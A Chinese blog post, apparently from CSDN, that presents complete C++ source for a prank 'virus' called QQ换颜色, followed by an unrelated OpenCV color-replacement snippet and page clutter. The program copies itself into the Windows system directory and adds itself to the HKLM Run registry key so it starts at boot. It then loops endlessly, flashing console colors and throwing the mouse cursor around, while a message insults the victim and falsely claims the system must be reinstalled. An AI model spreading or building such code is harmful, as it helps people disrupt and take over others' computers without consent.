c++之QQ换颜色病毒

嗯,这个病毒危害有一点大,请先看好了再运行:

1.该病毒为让运行窗口不断闪烁,并且还会让鼠标乱飞,并且还会开机自启。

2.小心眼睛被闪瞎,运行的时候不要乱动鼠标,不然可能会点到其他东西,导致问题。

3.关闭方法:ctrl+c/Alt+F4,然后搜索启动应用,然后找到一个QQ换颜色什么的,然后关闭就可以了。

代码如下:

#include <bits/stdc++.h>
#include <windows.h>
#include <conio.h>
using namespace std;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);

#define k	for (int i=0;i<20;i++) {	SetCursorPos(rand() % y, rand() % x);}

int main() {
	char systems[MAX_PATH];
	char pathtofile[MAX_PATH];
	HMODULE GetModH = GetModuleHandle(NULL);
	GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
	GetSystemDirectory(systems, sizeof(systems));
	strcat(systems, "QQ换颜色.exe");
	CopyFile(pathtofile, systems, false);
	HKEY hKey;
	RegOpenKeyEx(HKEY_LOCAL_MACHINE,
	             "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
	RegSetValueEx(hKey, "Writing to the Registry Example",
	              0, REG_SZ, (const unsigned char*)systems, sizeof(systems));
	RegCloseKey(hKey);
	system("title hello");
	system("color 90");
	cout << endl << endl << endl << endl << endl << endl << endl << endl;
	cout << "                        " << "欢迎使用" << "                               ";
	system("title QQ换颜色");
	system("cls");
	cout << "病毒名称:QQ换颜色" << endl;
	cout << "作者:H" << endl;
	cout << "地址:北京海淀区" << endl;
	cout << "联系电话:103 2234 7834" << endl;
	cout << "中了我的QQ换颜色病毒了吧,告诉你一个秘密,这个病毒必须重装系统。记住,你是一个大傻逼";
	system("color C7");
	system("cls");
	system("color B6");
	cout << "病毒名称:QQ换颜色" << endl;
	cout << "作者:H" << endl;
	cout << "地址:北京海淀区" << endl;
	cout << "联系电话:103 2234 7834" << endl;
	cout << "中了我的QQ换颜色病毒了吧,告诉你一个秘密,这个病毒必须重装系统。记住,你是一个大傻逼";
	system("cls");
	system("color A9");
	cout << "病毒名称:QQ换颜色" << endl;
	cout << "作者:H" << endl;
	cout << "地址:北京海淀区" << endl;
	cout << "联系电话:103 2234 7834" << endl;
	cout << "中了我的QQ换颜色病毒了吧,告诉你一个秘密,这个病毒必须重装系统。记住,你是一个大傻逼";
	system("cls");
	system("color E0");
	cout << "病毒名称:QQ换颜色" << endl;
	cout << "作者:H" << endl;
	cout << "地址:北京海淀区" << endl;
	cout << "联系电话:103 2234 7834" << endl;
	cout << "中了我的QQ换颜色病毒了吧,告诉你一个秘密,这个病毒必须重装系统。记住,你是一个大傻逼";
	system("cls");
	system("color D3");
	cout << "病毒名称:QQ换颜色" << endl;
	cout << "作者:H" << endl;
	cout << "地址:北京海淀区" << endl;
	cout << "联系电话:103 2234 7834" << endl;
	cout << "中了我的QQ换颜色病毒了吧,告诉你一个秘密,这个病毒必须重装系统。记住,你是一个大傻逼";
	system("cls");
	cout << "病毒名称:QQ换颜色" << endl;
	cout << "作者:H" << endl;
	cout << "地址:北京海淀区" << endl;
	cout << "联系电话:103 2234 7834" << endl;
	cout << "中了我的QQ换颜色病毒了吧,告诉你一个秘密,这个病毒必须重装系统。记住,你是一个大傻逼";
	double s = 0;
	while (1) {
		int sh = rand() % 36;
		if (sh == 0) {
			system("color 10");
			Sleep(s);
			k;
		} else if (sh  == 1) {
			system("color 25");
			Sleep(s);
			k;
		} else if (sh  == 2) {
			system("color 34");
			Sleep(s);
			k;
		} else if (sh == 3) {
			system("color D7");
			Sleep(s);
			k;
		} else if (sh == 4) {
			system("color 0A");
			Sleep(s);
			k;
		} else if (sh == 5) {
			system("color B7");
			Sleep(s);
			k;
		} else if (sh == 6) {
			system("color 78");
			Sleep(s);
			k;
		} else if (sh == 7) {
			system("color C9");
			Sleep(s);
			k;
		} else if (sh == 8) {
			system("color 9D");
			Sleep(s);
			k;
		} else if (sh == 9) {
			system("color D8");
			Sleep(s);
			k;
		} else if (sh == 10) {
			system("color 9E");
			Sleep(s);
			k;
		} else if (sh == 11) {
			system("color 5A");
			Sleep(s);
			k;
		} else if (sh == 12) {
			system("color DE");
			Sleep(s);
			k;
		} else if (sh == 13) {
			system("color 84");
			Sleep(s);
			k;
		} else if (sh == 14) {
			system("color 0E");
			Sleep(s);
			k;
		} else if (sh == 15) {
			system("color A2");
			Sleep(s);
			k;
		} else if (sh == 16) {
			system("color BD");
			Sleep(s);
			k;
		} else if (sh == 17) {
			system("color 35");
			Sleep(s);
			k;
		} else if (sh == 18) {
			system("color 75");
			Sleep(s);
			k;
		} else if (sh == 19) {
			system("color D0");
			Sleep(s);
			k;
		} else if (sh == 20) {
			system("color C2");
			Sleep(s);
			k;
		} else if (sh == 21) {
			system("color DC");
			Sleep(s);
			k;
		} else if (sh == 22) {
			system("color 6A");
			Sleep(s);
			k;
		} else if (sh == 23) {
			system("color E5");
			Sleep(s);
			k;
		} else if (sh == 24) {
			system("color 8B");
			Sleep(s);
			k;
		} else if (sh == 25) {
			system("color 9D");
			Sleep(s);
			k;
		} else if (sh == 26) {
			system("color 8D");
			Sleep(s);
			k;
		} else if (sh == 27) {
			system("color CE");
			Sleep(s);
			k;
		} else if (sh == 28) {
			system("color AD");
			Sleep(s);
			k;
		} else if (sh == 29) {
			system("color 4C");
			Sleep(s);
			k;
		} else if (sh == 30) {
			system("color 2B");
			Sleep(s);
			k;
		} else if (sh == 31) {
			system("color C0");
			Sleep(s);
			k;
		} else if (sh == 32) {
			system("color 89");
			Sleep(s);
			k;
		} else if (sh == 33) {
			system("color E5");
			Sleep(s);
			k;
		} else if (sh == 34) {
			system("color E1");
			Sleep(s);
			k;
		} else if (sh == 35) {
			system("color C3");
			Sleep(s);
			k;
		}
	}
	return 0;
}

再次提醒!运行过后不要慌张,不要乱点,不然会出问题!一定小心!还要注意眼睛!最好不要看。

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
C++实现Photoshop的颜色可以使用OpenCV库,具体步骤如下: 1. 加载图像到`cv::Mat`对象中。 2. 将要替颜色和替后的颜色为HSV颜色空间(或其他颜色空间),以便更容易地比较它们的亮度、饱和度和色调。 3. 遍历整个图像的每个像素,将像素的颜色为HSV颜色空间。 4. 比较该像素的颜色和要替颜色。如果它们非常接近,就将该像素的颜色为替后的颜色。 5. 重复步骤4,直到遍历完整个图像。 下面是一个简单的C++代码示例,可以将图像中的所有蓝色替为绿色: ```c++ #include <opencv2/opencv.hpp> using namespace cv; int main() { // 加载图像 Mat img = imread("input_image.jpg"); // 将要替颜色和替后的颜色为HSV颜色空间 Scalar blue_color = Scalar(255, 0, 0); Scalar green_color = Scalar(0, 255, 0); Mat hsv_blue, hsv_green; cvtColor(Mat(1, 1, CV_8UC3, blue_color), hsv_blue, COLOR_BGR2HSV); cvtColor(Mat(1, 1, CV_8UC3, green_color), hsv_green, COLOR_BGR2HSV); // 设定阈值 Scalar lower_blue = Scalar(hsv_blue.val[0]-10, 100, 100); Scalar upper_blue = Scalar(hsv_blue.val[0]+10, 255, 255); // 颜色 Mat hsv; cvtColor(img, hsv, COLOR_BGR2HSV); Mat mask; inRange(hsv, lower_blue, upper_blue, mask); hsv.setTo(hsv_green, mask); cvtColor(hsv, img, COLOR_HSV2BGR); // 保存结果 imwrite("output_image.jpg", img); return 0; } ``` 该代码使用OpenCV库,先将要替颜色和替后的颜色为HSV颜色空间,然后设定阈值,最后使用`cv::inRange`函数找到所有符合要求的像素,将其颜色为替后的颜色

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值